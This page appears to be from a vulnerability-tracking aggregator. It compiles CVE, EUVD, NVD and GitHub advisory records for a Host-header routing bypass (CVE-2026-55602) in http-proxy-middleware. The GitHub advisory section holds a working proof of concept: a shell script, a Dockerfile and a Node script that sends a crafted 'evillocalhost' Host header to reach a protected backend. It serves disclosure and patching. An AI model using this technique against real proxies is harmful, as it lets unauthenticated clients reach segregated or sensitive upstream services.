Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 20:55 UTC Customize Public modeDiscuss ChangeIntel on Discord

http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-55602

Published

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

Source published
22 Jun 2026 15:58:08 UTC
Source modified
23 Jun 2026 14:18:06 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-38300

Published

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 22, 2026, 3:58:08 PM

dateUpdated: Jun 23, 2026, 2:18:06 PM

5 related source bulletins · separate from aliases

openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media

CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370

openSUSE-SU-2026:11680-1: agama-web-ui-24+0.a836cced5-52.1 on GA media

CVE-2025-7783 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-33245 · CVE-2026-49356 · CVE-2026-53550 · CVE-2026-53632 · CVE-2026-54466 · CVE-2026-55602 · CVE-2026-67313 · CVE-2026-67315 · CVE-2026-67317 · CVE-2026-67319 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73650

NCSC-2026-0431: Kwetsbaarheden verholpen in IBM DataPower Gateway en onderliggende componenten

CVE-2023-53781 · CVE-2025-14087 · CVE-2025-14512 · CVE-2025-21858 · CVE-2025-22105 · CVE-2025-37980 · CVE-2025-38015 · CVE-2025-38097 · CVE-2025-38180 · CVE-2025-38400 · CVE-2025-38405 · CVE-2025-38441 · CVE-2025-38470 · CVE-2025-38653 · CVE-2025-39766 · CVE-2025-39797 · CVE-2025-39866 · CVE-2025-40134 · CVE-2025-48431 · CVE-2025-5278 · CVE-2025-68183 · CVE-2025-68211 · CVE-2025-68214 · CVE-2025-68347 · CVE-2025-68366 · CVE-2025-68724 · CVE-2025-71066 · CVE-2025-71089 · CVE-2026-12143 · CVE-2026-13257 · CVE-2026-13258 · CVE-2026-13757 · CVE-2026-14269 · CVE-2026-14273 · CVE-2026-14496 · CVE-2026-14497 · CVE-2026-14502 · CVE-2026-14507 · CVE-2026-14508 · CVE-2026-14509 · CVE-2026-14888 · CVE-2026-14905 · CVE-2026-14988 · CVE-2026-14990 · CVE-2026-14991 · CVE-2026-14992 · CVE-2026-14999 · CVE-2026-15588 · CVE-2026-15762 · CVE-2026-15781 · CVE-2026-15784 · CVE-2026-15819 · CVE-2026-15822 · CVE-2026-15824 · CVE-2026-16111 · CVE-2026-16159 · CVE-2026-16161 · CVE-2026-16163 · CVE-2026-16164 · CVE-2026-16165 · CVE-2026-16167 · CVE-2026-16169 · CVE-2026-16170 · CVE-2026-16176 · CVE-2026-16177 · CVE-2026-16178 · CVE-2026-16179 · CVE-2026-16181 · CVE-2026-16182 · CVE-2026-16340 · CVE-2026-16439 · CVE-2026-16440 · CVE-2026-16441 · CVE-2026-2100 · CVE-2026-22979 · CVE-2026-22984 · CVE-2026-22990 · CVE-2026-23002 · CVE-2026-23060 · CVE-2026-23110 · CVE-2026-23204 · CVE-2026-23209 · CVE-2026-23216 · CVE-2026-23243 · CVE-2026-23270 · CVE-2026-23392 · CVE-2026-23455 · CVE-2026-2391 · CVE-2026-31411 · CVE-2026-31419 · CVE-2026-31488 · CVE-2026-31508 · CVE-2026-31532 · CVE-2026-31581 · CVE-2026-31607 · CVE-2026-31613 · CVE-2026-31669 · CVE-2026-31677 · CVE-2026-31684 · CVE-2026-31685 · CVE-2026-33845 · CVE-2026-33846 · CVE-2026-3832 · CVE-2026-3833 · CVE-2026-4046 · CVE-2026-41254 · CVE-2026-41602 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-42009 · CVE-2026-42010 · CVE-2026-42011 · CVE-2026-42012 · CVE-2026-42013 · CVE-2026-42014 · CVE-2026-42015 · CVE-2026-43027 · CVE-2026-43037 · CVE-2026-43038 · CVE-2026-43056 · CVE-2026-43074 · CVE-2026-43116 · CVE-2026-43125 · CVE-2026-43163 · CVE-2026-43190 · CVE-2026-43198 · CVE-2026-43260 · CVE-2026-43284 · CVE-2026-43303 · CVE-2026-43329 · CVE-2026-43499 · CVE-2026-43501 · CVE-2026-43868 · CVE-2026-43870 · CVE-2026-4437 · CVE-2026-4438 · CVE-2026-45852 · CVE-2026-46054 · CVE-2026-46086 · CVE-2026-46116 · CVE-2026-46173 · CVE-2026-46181 · CVE-2026-46242 · CVE-2026-46259 · CVE-2026-46300 · CVE-2026-46331 · CVE-2026-46333 · CVE-2026-46917 · CVE-2026-46968 · CVE-2026-47010 · CVE-2026-47021 · CVE-2026-47027 · CVE-2026-47059 · CVE-2026-47063 · CVE-2026-48144 · CVE-2026-48145 · CVE-2026-5260 · CVE-2026-52923 · CVE-2026-52991 · CVE-2026-53006 · CVE-2026-53009 · CVE-2026-53131 · CVE-2026-53189 · CVE-2026-53264 · CVE-2026-53266 · CVE-2026-5419 · CVE-2026-5450 · CVE-2026-55602 · CVE-2026-55603 · CVE-2026-55968 · CVE-2026-55970 · CVE-2026-58010 · CVE-2026-58011 · CVE-2026-58012 · CVE-2026-58013 · CVE-2026-58014 · CVE-2026-58015 · CVE-2026-58016 · CVE-2026-58662 · CVE-2026-59879 · CVE-2026-59880 · CVE-2026-60147 · CVE-2026-60589 · CVE-2026-61308 · CVE-2026-63913 · CVE-2026-63952 · CVE-2026-64017 · CVE-2026-64530 · CVE-2026-64560 · CVE-2026-70906 · CVE-2026-70907 · CVE-2026-74581 · CVE-2026-82417 · CVE-2026-82562 · CVE-2026-83605 · CVE-2026-83607 · CVE-2026-83608 · CVE-2026-83613 · CVE-2026-83614 · CVE-2026-83615 · CVE-2026-83616 · CVE-2026-83619

WID-SEC-W-2026-3623: IBM DataPower Gateway: Mehrere Schwachstellen

CVE-2023-53781 · CVE-2025-14087 · CVE-2025-14512 · CVE-2025-21858 · CVE-2025-22105 · CVE-2025-37980 · CVE-2025-38015 · CVE-2025-38097 · CVE-2025-38180 · CVE-2025-38400 · CVE-2025-38405 · CVE-2025-38441 · CVE-2025-38470 · CVE-2025-38653 · CVE-2025-39766 · CVE-2025-39797 · CVE-2025-39866 · CVE-2025-40134 · CVE-2025-48431 · CVE-2025-5278 · CVE-2025-68183 · CVE-2025-68211 · CVE-2025-68214 · CVE-2025-68347 · CVE-2025-68366 · CVE-2025-68724 · CVE-2025-71066 · CVE-2025-71089 · CVE-2026-12143 · CVE-2026-13257 · CVE-2026-13258 · CVE-2026-13757 · CVE-2026-14269 · CVE-2026-14273 · CVE-2026-14496 · CVE-2026-14497 · CVE-2026-14502 · CVE-2026-14507 · CVE-2026-14508 · CVE-2026-14509 · CVE-2026-14888 · CVE-2026-14905 · CVE-2026-14988 · CVE-2026-14990 · CVE-2026-14991 · CVE-2026-14992 · CVE-2026-14999 · CVE-2026-15588 · CVE-2026-15762 · CVE-2026-15781 · CVE-2026-15784 · CVE-2026-15819 · CVE-2026-15822 · CVE-2026-15824 · CVE-2026-16111 · CVE-2026-16159 · CVE-2026-16161 · CVE-2026-16163 · CVE-2026-16164 · CVE-2026-16165 · CVE-2026-16167 · CVE-2026-16169 · CVE-2026-16170 · CVE-2026-16176 · CVE-2026-16177 · CVE-2026-16178 · CVE-2026-16179 · CVE-2026-16181 · CVE-2026-16182 · CVE-2026-16340 · CVE-2026-16439 · CVE-2026-16440 · CVE-2026-16441 · CVE-2026-2100 · CVE-2026-22979 · CVE-2026-22984 · CVE-2026-22990 · CVE-2026-23002 · CVE-2026-23060 · CVE-2026-23110 · CVE-2026-23204 · CVE-2026-23209 · CVE-2026-23216 · CVE-2026-23243 · CVE-2026-23270 · CVE-2026-23392 · CVE-2026-23455 · CVE-2026-2391 · CVE-2026-31411 · CVE-2026-31419 · CVE-2026-31488 · CVE-2026-31508 · CVE-2026-31532 · CVE-2026-31581 · CVE-2026-31607 · CVE-2026-31613 · CVE-2026-31669 · CVE-2026-31677 · CVE-2026-31684 · CVE-2026-31685 · CVE-2026-33845 · CVE-2026-33846 · CVE-2026-3832 · CVE-2026-3833 · CVE-2026-4046 · CVE-2026-41254 · CVE-2026-41602 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-42009 · CVE-2026-42010 · CVE-2026-42011 · CVE-2026-42012 · CVE-2026-42013 · CVE-2026-42014 · CVE-2026-42015 · CVE-2026-43027 · CVE-2026-43037 · CVE-2026-43038 · CVE-2026-43056 · CVE-2026-43074 · CVE-2026-43116 · CVE-2026-43125 · CVE-2026-43163 · CVE-2026-43190 · CVE-2026-43198 · CVE-2026-43260 · CVE-2026-43284 · CVE-2026-43303 · CVE-2026-43329 · CVE-2026-43499 · CVE-2026-43501 · CVE-2026-43868 · CVE-2026-43870 · CVE-2026-4437 · CVE-2026-4438 · CVE-2026-45852 · CVE-2026-46054 · CVE-2026-46086 · CVE-2026-46116 · CVE-2026-46173 · CVE-2026-46181 · CVE-2026-46242 · CVE-2026-46259 · CVE-2026-46300 · CVE-2026-46331 · CVE-2026-46333 · CVE-2026-46917 · CVE-2026-46968 · CVE-2026-47010 · CVE-2026-47021 · CVE-2026-47027 · CVE-2026-47059 · CVE-2026-47063 · CVE-2026-48144 · CVE-2026-48145 · CVE-2026-5260 · CVE-2026-52923 · CVE-2026-52991 · CVE-2026-53006 · CVE-2026-53009 · CVE-2026-53131 · CVE-2026-53189 · CVE-2026-53264 · CVE-2026-53266 · CVE-2026-5419 · CVE-2026-5450 · CVE-2026-55602 · CVE-2026-55603 · CVE-2026-55968 · CVE-2026-55970 · CVE-2026-58010 · CVE-2026-58011 · CVE-2026-58012 · CVE-2026-58013 · CVE-2026-58014 · CVE-2026-58015 · CVE-2026-58016 · CVE-2026-58662 · CVE-2026-59879 · CVE-2026-59880 · CVE-2026-60147 · CVE-2026-60589 · CVE-2026-61308 · CVE-2026-63913 · CVE-2026-63952 · CVE-2026-64017 · CVE-2026-64530 · CVE-2026-64560 · CVE-2026-70906 · CVE-2026-70907 · CVE-2026-74581 · CVE-2026-82417 · CVE-2026-82562 · CVE-2026-83605 · CVE-2026-83607 · CVE-2026-83608 · CVE-2026-83613 · CVE-2026-83614 · CVE-2026-83615 · CVE-2026-83616 · CVE-2026-83619

openSUSE-SU-2026:21448-1: Security update for agama-web-ui

CVE-2025-7783 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13311 · CVE-2026-13676 · CVE-2026-27601 · CVE-2026-40181 · CVE-2026-49356 · CVE-2026-53550 · CVE-2026-53632 · CVE-2026-54466 · CVE-2026-54490 · CVE-2026-55602

Source published
Jun 22, 2026, 3:58:08 PM (timezone not stated)
Source modified
Jun 23, 2026, 2:18:06 PM (timezone not stated)
Observed here
7 Nov 2026 12:32:40 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-55602

Published

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-20 · CWE-187

Original publisher date fields

published: 2026-06-22T18:16:48.073

lastModified: 2026-10-25T23:10:00.167

1 source CPE criteria · context only
  • cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
22 Jun 2026 18:16:48 UTC
Source modified
25 Oct 2026 23:10:00 UTC
Observed here
27 Oct 2026 15:15:14 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

osv · GHSA-64mm-vxmg-q3vj

Published

# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.

Source published
18 Jun 2026 13:06:11 UTC
Source modified
10 Sep 2026 03:50:48 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 20:55 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current